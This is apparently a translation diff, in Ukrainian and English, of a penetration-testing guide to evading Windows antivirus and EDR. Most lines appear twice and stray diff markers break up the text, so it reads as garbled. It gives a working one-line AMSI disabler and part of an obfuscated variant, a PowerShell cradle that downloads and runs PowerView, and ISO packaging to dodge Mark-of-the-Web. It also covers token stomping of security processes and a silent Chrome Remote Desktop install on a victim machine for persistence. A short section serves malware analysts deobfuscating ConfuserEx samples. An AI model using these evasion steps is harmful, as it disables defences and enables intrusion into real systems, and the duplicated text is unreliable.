AMSI було створено для запобігання "[fileless malware](https://en.wikipedia.org/wiki/Fileless_malware)". Спочатку AVs могли сканувати лише **файли на диску**, тож якщо ви якимось чином могли виконати payloads **безпосередньо в пам'яті**, AVs нічого не могли вдіяти, бо не мали достатньої видимості.
AMSI було створено, щоб запобігти "[fileless malware](https://en.wikipedia.org/wiki/Fileless_malware)". Спочатку AV могли сканувати лише **файли на диску**, тож якщо якось виконати payloads **безпосередньо в пам'яті**, AV нічого не міг зробити, бо не мав достатньої видимості.
Функція AMSI інтегрована в такі компоненти Windows.
Функція AMSI інтегрована в ці компоненти Windows.
- User Account Control, або UAC (підвищення прав для EXE, COM, MSI або інсталяції ActiveX)
- User Account Control, or UAC (підвищення привілеїв EXE, COM, MSI або встановлення ActiveX)
- PowerShell (скрипти, інтерактивне використання та динамічна оцінка коду)
- Windows Script Host (wscript.exe and cscript.exe)
- JavaScript and VBScript
- Windows Script Host (wscript.exe та cscript.exe)
- JavaScript та VBScript
- Office VBA macros
Вона дозволяє антивірусним рішенням інспектувати поведінку скриптів, надаючи вміст скриптів у незашифрованому та необфусцованому вигляді.
Це дозволяє антивірусам інспектувати поведінку скриптів, надаючи вміст скриптів у формі, яка не зашифрована й не обфусована.
Запуск `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` спричинить таке сповіщення у Windows Defender.
Запуск `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` згенерує наступне попередження у Windows Defender.
<figure><img src="../images/image (1135).png" alt=""><figcaption></figcaption></figure>
Зверніть увагу, як воно додає префікс `amsi:`, а потім шлях до виконуваного файлу, з якого запущено скрипт, у цьому випадку — powershell.exe.
Зверніть увагу, як воно додає спереду `amsi:` та потім шлях до виконуваного файлу, з якого був запущений скрипт — у цьому випадку powershell.exe
Ми не записували файл на диск, але все одно були виявлені в пам'яті через AMSI.
Більше того, починаючи з **.NET 4.8**, C# код також проходить через AMSI. Це навіть впливає на `Assembly.Load(byte[])`, що використовується для виконання в пам'яті. Тому для виконання в пам'яті, якщо хочете обійти AMSI, рекомендується використовувати більш ранні версії .NET (наприклад 4.7.2 або нижче).
Більш того, починаючи з **.NET 4.8**, C# код також проходить через AMSI. Це навіть впливає на `Assembly.Load(byte[])` для завантаження виконання в пам'яті. Ось чому для виконання в пам'яті, якщо ви хочете оминати AMSI, рекомендовано використовувати нижчі версії .NET (наприклад, 4.7.2 або нижче).
Існує кілька способів обійти AMSI:
Є кілька способів обійти AMSI:
- **Obfuscation**
Оскільки AMSI в основному працює зі статичними детекціями, модифікація скриптів, які ви намагаєтеся завантажити, може бути хорошим способом уникнути виявлення.
Оскільки AMSI в основному працює зі статичними детекціями, зміна скриптів, які ви намагаєтесь завантажити, може бути хорошим способом уникнути виявлення.
Однак AMSI здатний деобфускувати скрипти навіть при наявності кількох шарів обфускації, тому обфускація може не спрацювати залежно від того, як вона виконана. Це ускладнює обхід. Хоча іноді достатньо змінити кілька імен змінних, і проблем не буде, тож усе залежить від того, наскільки сильно щось було помічено.
Однак AMSI має можливість розобфусувати скрипти навіть коли вони мають кілька шарів обфускації, тож обфускація може виявитися поганим варіантом залежно від того, як вона виконана. Це ускладнює ухилення. Проте іноді достатньо змінити кілька імен змінних — і все буде добре, тож усе залежить від того, наскільки щось було позначено.
- **AMSI Bypass**
Оскільки AMSI реалізовано шляхом завантаження DLL у процес powershell (а також cscript.exe, wscript.exe тощо), його можна відносно легко модифікувати навіть при запуску з правами звичайного користувача. Через цю помилку в реалізації AMSI дослідники знайшли кілька способів обійти сканування AMSI.
Оскільки AMSI реалізовано шляхом завантаження DLL у процес powershell (також cscript.exe, wscript.exe тощо), його можна легко підправити навіть при запуску від імені непривілейованого користувача. Через цю помилку в реалізації AMSI дослідники знайшли кілька способів обійти сканування AMSI.
**Forcing an Error**
Примусове невдале ініціалізація AMSI (amsiInitFailed) призведе до того, що для поточного процесу сканування не відбудеться. Спочатку це розкрив [Matt Graeber](https://twitter.com/mattifestation), і Microsoft розробила сигнатуру, щоб обмежити широке використання.
Примусове спричинення збою ініціалізації AMSI (amsiInitFailed) призведе до того, що для поточного процесу сканування не буде ініційовано. Спочатку це оприлюднив [Matt Graeber](https://twitter.com/mattifestation), і Microsoft розробила сигнатуру, щоб запобігти широкому використанню.
```bash
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
```
Все, що було потрібно — один рядок коду powershell, щоб зробити AMSI непридатним для поточного процесу powershell. Цей рядок, звісно, був позначений самим AMSI, тому потрібно внести деякі зміни, щоб застосувати цю техніку.
Усього один рядок коду powershell зробив AMSI непридатним для поточного процесу powershell. Цей рядок, звісно, був відзначений самим AMSI, тому для використання цієї техніки потрібні певні модифікації.
Ось змінений AMSI bypass, який я взяв з цього [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db).
Ось модифікований AMSI bypass, який я взяв із цього [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db).
```bash
Try{#Ams1 bypass technic nº 2
$Xdatabase = 'Utils';$Homedrive = 'si'
@ -247,93 +247,94 @@ $Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
$Spotfix.SetValue($null,$true)
}Catch{Throw $_}
```
Майте на увазі, що це, ймовірно, буде помічено після публікації цього допису, тому не слід публікувати код, якщо ваша мета — залишитись непоміченим.
Keep in mind, that this will probably get flagged once this post comes out, so you should not publish any code if your plan is staying undetected.
**Memory Patching**
Цю техніку спочатку виявив [@RastaMouse](https://twitter.com/_RastaMouse/) і вона полягає у знаходженні адреси функції "AmsiScanBuffer" в amsi.dll (відповідальної за сканування введених користувачем даних) та перезаписі її інструкціями, які повертають код E_INVALIDARG. Таким чином результат реального сканування поверне 0, що інтерпретується як чистий результат.
This technique was initially discovered by [@RastaMouse](https://twitter.com/_RastaMouse/) and it involves finding address for the "AmsiScanBuffer" function in amsi.dll (responsible for scanning the user-supplied input) and overwriting it with instructions to return the code for E_INVALIDARG, this way, the result of the actual scan will return 0, which is interpreted as a clean result.
> [!TIP]
> Будь ласка, прочитайте [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) для детальнішого пояснення.
Існує також багато інших методів обходу AMSI за допомогою powershell, перегляньте [**this page**](basic-powershell-for-pentesters/index.html#amsi-bypass) та [**this repo**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell), щоб дізнатися більше про них.
There are also many other techniques used to bypass AMSI with powershell, check out [**this page**](basic-powershell-for-pentesters/index.html#amsi-bypass) and [**this repo**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) to learn more about them.
Цей інструмент [**https://github.com/Flangvik/AMSI.fail**](https://github.com/Flangvik/AMSI.fail) також генерує скрипт для обходу AMSI.
This tools [**https://github.com/Flangvik/AMSI.fail**](https://github.com/Flangvik/AMSI.fail) also generates script to bypass AMSI.
**Remove the detected signature**
Ви можете використати інструмент, такий як **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** та **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)**, щоб видалити виявлений підпис AMSI з пам'яті поточного процесу. Цей інструмент працює шляхом сканування пам'яті поточного процесу на наявність підпису AMSI, а потім перезаписує його інструкціями NOP, фактично видаляючи його з пам'яті.
You can use a tool such as **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** and **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)** to remove the detected AMSI signature from the memory of the current process. This tool works by scanning the memory of the current process for the AMSI signature and then overwriting it with NOP instructions, effectively removing it from memory.
**AV/EDR продукти, які використовують AMSI**
**AV/EDR products that uses AMSI**
Список AV/EDR продуктів, які використовують AMSI, можна знайти в **[https://github.com/subat0mik/whoamsi](https://github.com/subat0mik/whoamsi)**.
You can find a list of AV/EDR products that uses AMSI in **[https://github.com/subat0mik/whoamsi](https://github.com/subat0mik/whoamsi)**.
**Використовуйте Powershell версії 2**
Якщо ви використовуєте PowerShell версії 2, AMSI не буде завантажено, тому ви зможете запускати свої скрипти без сканування AMSI. Ви можете зробити це:
**Use Powershell version 2**
If you use PowerShell version 2, AMSI will not be loaded, so you can run your scripts without being scanned by AMSI. You can do this:
```bash
powershell.exe -version 2
```
## Журналіювання PowerShell
## Логування PowerShell
PowerShell logging — це функція, яка дозволяє логувати всі PowerShell-команди, виконані в системі. Це корисно для аудиту та усунення несправностей, але також може стати **проблемою для зловмисників, які хочуть ухилитися від виявлення**.
PowerShell logging — це функція, яка дозволяє реєструвати всі команди PowerShell, виконані в системі. Це корисно для аудиту та усунення несправностей, але також може бути великою проблемою для атакуючих, які хочуть уникнути виявлення.
Щоб обійти журналіювання PowerShell, можна використати такі методи:
Щоб обійти логування PowerShell, можна використовувати такі підходи:
- **Disable PowerShell Transcription and Module Logging**: Можна використати інструмент, такий як [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs).
- **Use Powershell version 2**: Якщо використовувати PowerShell версії 2, AMSI не буде завантажено, тож ви зможете виконувати свої скрипти без сканування AMSI. Можна зробити так: `powershell.exe -version 2`
- **Use an Unmanaged Powershell Session**: Використайте [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell), щоб створити powershell без захисту (це те, що використовує `powerpick` з Cobal Strike).
- **Disable PowerShell Transcription and Module Logging**: для цього можна скористатися інструментом, наприклад [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs).
- **Use Powershell version 2**: якщо використовувати PowerShell версії 2, AMSI не буде завантажено, тож ви зможете запускати скрипти без сканування AMSI. Можна виконати: `powershell.exe -version 2`
- **Use an Unmanaged Powershell Session**: скористайтеся [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell) щоб запустити powershell без захисту (саме це використовує `powerpick` з Cobal Strike).
## Обфускація
> [!TIP]
> Декілька технік обфускації покладаються на шифрування даних, що підвищує ентропію бінарного файлу й полегшує його виявлення AV та EDR. Будьте обережні з цим і, можливо, застосовуйте шифрування лише до конкретних секцій коду, які є чутливими або потребують приховування.
> Декілька технік обфускації покладаються на шифрування даних, що збільшує ентропію бінарника і полегшує виявлення AVs та EDRs. Будьте обережні з цим і, можливо, застосовуйте шифрування тільки до конкретних секцій коду, які є чутливими або їх потрібно приховати.
### Деобфускація .NET-бінарів, захищених ConfuserEx
### Деобфускація .NET-бінарників, захищених ConfuserEx
При аналізі malware, що використовує ConfuserEx 2 (або комерційні форки), часто зустрічаються кілька рівнів захисту, які блокують декомпілятори та sandboxes. Наведений нижче робочий процес надійно **відновлює майже оригінальний IL**, який потім можна декомпілювати в C# за допомогою dnSpy або ILSpy.
Під час аналізу шкідливого ПО, яке використовує ConfuserEx 2 (або комерційні форки), часто зустрічаються кілька шарів захисту, які блокують декомпілятори та пісочниці. Наведений нижче робочий процес надійно відновлює майже оригінальний IL, який потім можна декомпілювати в C# за допомогою dnSpy або ILSpy.
1. Видалення anti-tampering ConfuserEx шифрує кожне *method body* і дешифрує його всередині статичного конструктора модуля (`<Module>.cctor`). Це також патчує PE checksum, тому будь-яка модифікація приведе до краху бінарника. Використайте **AntiTamperKiller**, щоб знайти зашифровані таблиці метаданих, відновити XOR-ключі та переписати чисту збірку:
1. Anti-tampering removal ConfuserEx шифрує кожне *method body* і дешифрує його всередині статичного конструктора модуля (`<Module>.cctor`). Це також змінює PE checksum, тож будь-яка модифікація призведе до краху бінарника. Використайте **AntiTamperKiller**, щоб знайти зашифровані таблиці метаданих, відновити XOR-ключі та переписати чисту збірку:
```bash
# https://github.com/wwh1004/AntiTamperKiller
python AntiTamperKiller.py Confused.exe Confused.clean.exe
```
Вивід містить 6 параметрів anti-tamper (`key0-key3`, `nameHash`, `internKey`), які можуть бути корисні при створенні власного unpacker'а.
Вивід містить 6 анти-темпер параметрів (`key0-key3`, `nameHash`, `internKey`), які можуть бути корисні при побудові власного unpacker'а.
2. Відновлення символів / керування потоком передайте *чистий* файл у **de4dot-cex** (форк de4dot, що розуміє ConfuserEx).
2. Symbol / control-flow recovery передайте *clean* файл у **de4dot-cex** (форк de4dot з підтримкою ConfuserEx).
```bash
de4dot-cex -p crx Confused.clean.exe -o Confused.de4dot.exe
```
Flags:
`-p crx` вибір профілю ConfuserEx 2
• de4dot скасує control-flow flattening, відновить оригінальні простори імен, класи та імена змінних, а також дешифрує константні рядки.
`-p crx` вибрати профіль ConfuserEx 2
• de4dot скасує control-flow flattening, відновить оригінальні простори імен, класи та імена змінних і дешифрує константні рядки.
3. Видалення proxy-викликів ConfuserEx замінює прямі виклики методів на легкі обгортки (так звані *proxy calls*), щоб ще більше ускладнити декомпіляцію. Видаліть їх за допомогою **ProxyCall-Remover**:
3. Proxy-call stripping ConfuserEx замінює прямі виклики методів легкими обгортками (т.з. *proxy calls*), щоб ускладнити декомпіляцію. Видаліть їх за допомогою **ProxyCall-Remover**:
```bash
ProxyCall-Remover.exe Confused.de4dot.exe Confused.fixed.exe
```
Після цього кроку ви повинні побачити звичні .NET API, такі як `Convert.FromBase64String` або `AES.Create()` замість непрозорих wrapper-функцій (`Class8.smethod_10`, …).
Після цього кроку ви повинні побачити звичайні .NET API, такі як `Convert.FromBase64String` або `AES.Create()`, замість непрозорих обгорткових функцій (`Class8.smethod_10`, …).
4. Ручне прибирання запустіть отриманий бінарник у dnSpy, пошукайте великі Base64-блоки або використання `RijndaelManaged`/`TripleDESCryptoServiceProvider`, щоб знайти *реальний* payload. Часто malware зберігає його як TLV-кодований масив байтів, ініціалізований всередині `<Module>.byte_0`.
4. Manual clean-up запустіть отриманий бінарник у dnSpy, шукайте великі Base64-блоки або використання `RijndaelManaged`/`TripleDESCryptoServiceProvider`, щоб знайти *реальний* payload. Часто шкідливе ПО зберігає його як TLV-кодований масив байтів, ініціалізований всередині `<Module>.byte_0`.
Наведена ланцюжок відновлює flow виконання **без** необхідності запускати шкідливий зразок — корисно при роботі на офлайн-станції.
Наведений ланцюжок відновлює потік виконання **без** необхідності запускати шкідливий зразок — корисно при роботі на офлайн-робочій станції.
🛈 ConfuserEx створює власний атрибут з іменем `ConfusedByAttribute`, який можна використовувати як IOC для автоматичного тріажу зразків.
> 🛈 ConfuserEx генерує власний атрибут із назвою `ConfusedByAttribute`, який можна використовувати як IOC для автоматичної триажі зразків.
#### Однолайнер
#### Однорядковий приклад
```bash
autotok.sh Confused.exe # wrapper that performs the 3 steps above sequentially
```
---
- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# obfuscator**
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Мета цього проєкту — надати відкритий форк [LLVM](http://www.llvm.org/) компіляційного набору, який може забезпечити підвищену безпеку програмного забезпечення через [code obfuscation](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) та tamper-proofing.
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator демонструє, як використовувати мову `C++11/14` для генерації під час компіляції obfuscated code без використання зовнішніх інструментів і без модифікації компілятора.
- [**obfy**](https://github.com/fritzone/obfy): Додає шар obfuscated operations, згенерованих за допомогою C++ template metaprogramming framework, що ускладнить життя тому, хто захоче crack the application.
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz — це x64 binary obfuscator, який здатний обфускувати різні PE файли, включно з: .exe, .dll, .sys
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Мета цього проєкту — надати open-source форк збірки компіляторів [LLVM](http://www.llvm.org/), здатний підвищувати безпеку ПЗ через [code obfuscation](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) та захист від підтасовування.
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator демонструє, як використовувати мову `C++11/14` для генерації на етапі компіляції заобфускованого коду без використання зовнішніх інструментів і без модифікації компілятора.
- [**obfy**](https://github.com/fritzone/obfy): Додає шар заобфускованих операцій, згенерованих C++ template metaprogramming framework, що ускладнить життя тому, хто хоче crack the application.
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz — x64 binary obfuscator, який здатен обфускувати різні pe files, включаючи: .exe, .dll, .sys
- [**metame**](https://github.com/a0rtega/metame): Metame — простий metamorphic code engine для довільних виконуваних файлів.
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator — це тонкоґранічний code obfuscation framework для мов, що підтримуються LLVM, який використовує ROP (return-oriented programming). ROPfuscator обфускує програму на рівні assembly коду, перетворюючи звичайні інструкції в ROP chains, підривши наше природне уявлення про нормальний контрольний потік.
- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt — це .NET PE Crypter, написаний на Nim
- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor здатний конвертувати існуючі EXE/DLL у shellcode і потім його завантажити
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator — це тонкоґранітна code obfuscation framework для мов, що підтримуються LLVM, яка використовує ROP (return-oriented programming). ROPfuscator обфускує програму на рівні assembly-коду, перетворюючи звичайні інструкції на ROP-чейн-и, руйнуючи наше природне уявлення про нормальний контроль потоку.
- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt — .NET PE Crypter, написаний на Nim
- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor вміє конвертувати існуючі EXE/DLL у shellcode та потім їх завантажувати
## SmartScreen & MoTW
@ -350,15 +351,15 @@ SmartScreen mainly works with a reputation-based approach, meaning that uncommon
<figure><img src="../images/image (237).png" alt=""><figcaption><p>Перевірка Zone.Identifier ADS для файлу, завантаженого з інтернету.</p></figcaption></figure>
> [!TIP]
> Важливо зазначити, що виконувані файли, підписані **довіреним сертифікатом підпису**, **не викликатимуть спрацьовування SmartScreen**.
> Важливо зазначити, що виконувані файли, підписані **довіреним** сертифікатом підпису, **не спричинять активацію SmartScreen**.
Дуже ефективний спосіб запобігти отриманню Mark of The Web вашими payloads — упакувати їх у якийсь контейнер, наприклад ISO. Це відбувається тому, що Mark-of-the-Web (MOTW) **cannot** be applied to **non NTFS** volumes.
A very effective way to prevent your payloads from getting the Mark of The Web is by packaging them inside some sort of container like an ISO. This happens because Mark-of-the-Web (MOTW) **cannot** be applied to **non NTFS** volumes.
<figure><img src="../images/image (640).png" alt=""><figcaption></figcaption></figure>
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) — інструмент, який пакує payloads у вихідні контейнери для обходу Mark-of-the-Web.
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) is a tool that packages payloads into output containers to evade Mark-of-the-Web.
Example usage:
Приклад використання:
```bash
PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso
@ -386,73 +387,74 @@ Here is a demo for bypassing SmartScreen by packaging payloads inside ISO files
## ETW
Event Tracing for Windows (ETW) — це потужний механізм логування у Windows, який дозволяє додаткам та компонентам системи **реєструвати події**. Однак його також можуть використовувати продукти безпеки для моніторингу та виявлення шкідливої активності.
Event Tracing for Windows (ETW) — це потужний механізм логування в Windows, який дозволяє додаткам і системним компонентам **реєструвати події**. Однак його також можуть використовувати продукти безпеки для моніторингу й виявлення шкідливої активності.
Подібно до того, як обходять AMSI, також можливо змусити функцію користувацького простору `EtwEventWrite` повертатися одразу, не реєструючи події. Це робиться шляхом патчу функції в пам'яті, внаслідок чого ETW-логування для цього процесу ефективно вимикається.
Подібно до того, як AMSI відключається (обходиться), також можна змусити функцію користувацького простору `EtwEventWrite` повертатися негайно без реєстрації подій. Це робиться шляхом патчу функції в пам’яті, щоб вона негайно повертала контроль, фактично вимикаючи ETW-логування для цього процесу.
Детальніше — в **[https://blog.xpnsec.com/hiding-your-dotnet-etw/](https://blog.xpnsec.com/hiding-your-dotnet-etw/) and [https://github.com/repnz/etw-providers-docs/](https://github.com/repnz/etw-providers-docs/)**.
Більше інформації можна знайти в **[https://blog.xpnsec.com/hiding-your-dotnet-etw/](https://blog.xpnsec.com/hiding-your-dotnet-etw/) and [https://github.com/repnz/etw-providers-docs/](https://github.com/repnz/etw-providers-docs/)**.
## C# Assembly Reflection
Завантаження C# бінарників у пам'ять відоме вже давно і досі є відмінним способом запуску post-exploitation інструментів без запису на диск і уникаючи виявлення AV.
Завантаження C# бінарників у пам’ять відоме вже давно і залишається чудовим способом запуску post-exploitation інструментів без виявлення AV.
Оскільки payload завантажується безпосередньо в пам'ять без торкання диска, нам доведеться турбуватися лише про патчинг AMSI для всього процесу.
Оскільки payload буде завантажений безпосередньо в пам’ять без запису на диск, нам залишиться лише потурбуватися про патчинг AMSI для всього процесу.
Більшість C2 фреймворків (sliver, Covenant, metasploit, CobaltStrike, Havoc тощо) вже дозволяють виконувати C# assemblies прямо в пам'яті, але існують різні підходи для цього:
Більшість C2 frameworks (sliver, Covenant, metasploit, CobaltStrike, Havoc, тощо) вже надають можливість виконувати C# assemblies безпосередньо в пам’яті, але існують різні підходи:
- **Fork\&Run**
Це передбачає **створення нового пожертвуваного процесу**, інжекцію вашого post-exploitation шкідливого коду в цей новий процес, виконання коду та знищення процесу після завершення. Це має свої переваги й недоліки. Перевага методу fork and run у тому, що виконання відбувається **поза** нашим Beacon implant процесом. Це означає, що якщо щось піде не так або буде виявлено під час post-exploitation дій, існує **набагато вища ймовірність** того, що наш **implant виживе.** Недоліком є **вища ймовірність** бути виявленим за допомогою **Behavioural Detections**.
Це передбачає **створення нового "жертвеного" процесу**, інжекцію вашого post-exploitation шкідливого коду в цей новий процес, виконання коду і після завершення — завершення процесу. У цього методу є як переваги, так і недоліки. Перевага Fork and Run в тому, що виконання відбувається **поза** процесом нашого Beacon імпланту. Це означає, що якщо щось піде не так або буде виявлено під час нашої post-exploitation дії, існує **набагато більша ймовірність**, що наш **імплант виживе.** Недолік — більша ймовірність потрапити під виявлення поведінки (Behavioural Detections).
<figure><img src="../images/image (215).png" alt=""><figcaption></figcaption></figure>
- **Inline**
Це про інжекцію post-exploitation шкідливого коду **у власний процес**. Таким чином можна уникнути створення нового процесу і його сканування AV, але недолік у тому, що якщо щось піде не так під час виконання payload, існує **набагато вища ймовірність** **втрати вашого beacon**, оскільки процес може впасти.
Це інжекція post-exploitation шкідливого коду **в сам процес**. Таким чином можна уникнути створення нового процесу й його сканування AV, але недолік у тому, що якщо виконання payload піде не так, існує **набагато більша ймовірність** втратити ваш Beacon через можливий крах процесу.
<figure><img src="../images/image (1136).png" alt=""><figcaption></figcaption></figure>
> [!TIP]
> Якщо хочете дізнатися більше про завантаження C# Assembly, перегляньте цю статтю [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) та їх InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
> Якщо хочете прочитати більше про завантаження C# Assembly, перегляньте цю статтю [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) та їхній InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
Ви також можете завантажувати C# Assemblies **from PowerShell**, дивіться [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) та відео S3cur3th1sSh1t ([https://www.youtube.com/watch?v=oe11Q-3Akuk](https://www.youtube.com/watch?v=oe11Q-3Akuk)).
Ви також можете завантажувати C# Assemblies **через PowerShell**, гляньте на [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) та відео S3cur3th1sSh1t ([https://www.youtube.com/watch?v=oe11Q-3Akuk](https://www.youtube.com/watch?v=oe11Q-3Akuk)).
## Використання інших мов програмування
## Using Other Programming Languages
Як запропоновано в [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), можливо виконувати шкідливий код іншими мовами, даючи скомпрометованій машині доступ **до середовища інтерпретатора, встановленого на Attacker Controlled SMB share**.
Як запропоновано в [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), можливо виконувати шкідливий код іншими мовами, надавши скомпрометованій машині доступ **до інтерпретатора, встановленого на Attacker Controlled SMB share**.
Надавши доступ до Interpreter Binaries та оточення на SMB share, ви можете **виконувати довільний код цими мовами в пам'яті** скомпрометованої машини.
Надавши доступ до Interpreter Binaries та середовища на SMB share, ви можете **виконувати довільний код цими мовами в памяті** скомпрометованої машини.
Репозиторій зазначає: Defender все ще сканує скрипти, але використовуючи Go, Java, PHP тощо, ми маємо **більше гнучкості для обходу статичних сигнатур**. Тестування з випадковими необфусцованими reverse shell скриптами на цих мовах показало успішні результати.
У репо зазначено: Defender все ще сканує скрипти, але використовуючи Go, Java, PHP тощо, ми отримуємо **більшу гнучкість для обходу статичних сигнатур**. Тестування з випадковими незаплутаними reverse shell скриптами цими мовами показало успіх.
## TokenStomping
Token stomping — це техніка, яка дозволяє нападнику **маніпулювати access token або процесом безпеки, наприклад EDR або AV**, зменшуючи його привілеї так, щоб процес не завершився, але не мав прав для перевірки шкідливої активності.
Token stomping — техніка, яка дозволяє атакуючому **маніпулювати access token або токеном процесу безпеки, як-от EDR чи AV**, зменшуючи його привілеї так, що процес не вмирає, але не має прав для перевірки шкідливої активності.
Щоб запобігти цьому, Windows міг би **забороняти зовнішнім процесам** отримувати дескриптори токенів процесів безпеки.
Щоб запобігти цьому, Windows могла б **не дозволяти зовнішнім процесам** отримувати дескриптори токенів процесів безпеки.
- [**https://github.com/pwn1sher/KillDefender/**](https://github.com/pwn1sher/KillDefender/)
- [**https://github.com/MartinIngesen/TokenStomp**](https://github.com/MartinIngesen/TokenStomp)
- [**https://github.com/nick-frischkorn/TokenStripBOF**](https://github.com/nick-frischkorn/TokenStripBOF)
## Використання довіреного ПО
## Using Trusted Software
### Chrome Remote Desktop
Як описано в [**this blog post**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide), легко встановити Chrome Remote Desktop на ПК жертви і використовувати його для takeover та підтримки persistence:
Як описано в [**this blog post**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide), легко встановити Chrome Remote Desktop на ПК жертви та використовувати його для takeover і підтримки persistence:
1. Download from https://remotedesktop.google.com/, click on "Set up via SSH", and then click on the MSI file for Windows to download the MSI file.
2. Run the installer silently in the victim (admin required): `msiexec /i chromeremotedesktophost.msi /qn`
3. Go back to the Chrome Remote Desktop page and click next. The wizard will then ask you to authorize; click the Authorize button to continue.
4. Execute the given parameter with some adjustments: `"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111` (Note the pin param which allows to set the pin without using the GUI).
4. Execute the given parameter with some adjustments: `"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111` (Note the pin param which allows to set the pin withuot using the GUI).
## Advanced Evasion
Evasion — дуже складна тема, іноді потрібно брати до уваги багато джерел телеметрії в одній системі, тому практично неможливо залишатися повністю непоміченим у зрілих середовищах.
Evasion — дуже складна тема, іноді треба врахувати багато різних джерел телеметрії в одній системі, тому практично неможливо залишатися повністю незауваженим у зрілих середовищах.
Кожне середовище матиме свої сильні та слабкі сторони.
Кожне середовище має власні сильні та слабкі сторони.
Рекомендую переглянути цей доповідь від [@ATTL4S](https://twitter.com/DaniLJ94), щоб отримати уявлення про більш просунуті техніки Evasion.
Раджу переглянути цей доповідь від [@ATTL4S](https://twitter.com/DaniLJ94), щоб отримати уявлення про більш просунуті техніки Evasion.
{{#ref}}
@ -466,33 +468,33 @@ https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo
https://www.youtube.com/watch?v=IbA7Ung39o4
{{#endref}}
## **Старі техніки**
## **Old Techniques**
### **Перевірка, які частини Defender вважає шкідливими**
### **Check which parts Defender finds as malicious**
Ви можете використати [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck), який **видалятиме частини бінарника** поки не **виявить, яка саме частина Defender** вважає шкідливою, та вкаже її.\
Інший інструмент, який робить **те саме**, — [**avred**](https://github.com/dobin/avred) з відкритим вебом, що надає сервіс на [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
Ви можете використовувати [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck), який буде **видаляти частини бінарника**, поки не **з’ясує яка частина Defender** вважає шкідливою і розділить це для вас.\
Інший інструмент, що робить **те саме** — [**avred**](https://github.com/dobin/avred) з веб-сервісом на [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
### **Telnet Server**
До Windows10 усі версії Windows постачалися з можливістю встановлення **Telnet server**, який можна було інсталювати (як адміністратор) виконавши:
До Windows10, всі Windows постачались з **Telnet server**, який ви могли встановити (як адміністратор) зробивши:
```bash
pkgmgr /iu:"TelnetServer" /quiet
```
Зробіть так, щоб він **запускався** при запуску системи та **запустіть** його зараз:
